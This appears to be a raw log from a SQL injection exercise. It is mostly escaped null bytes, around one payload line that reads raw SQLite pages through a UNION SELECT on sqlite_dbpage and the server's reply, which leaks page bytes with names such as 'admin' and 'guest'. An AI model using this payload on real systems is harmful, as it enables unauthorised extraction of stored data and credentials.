0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x03\x17\x01admin\x03\t\x03\x17\x01guest\x02\t\x03\x19\talpaca&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 2 --
Hello, b&amp;#39;\r\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\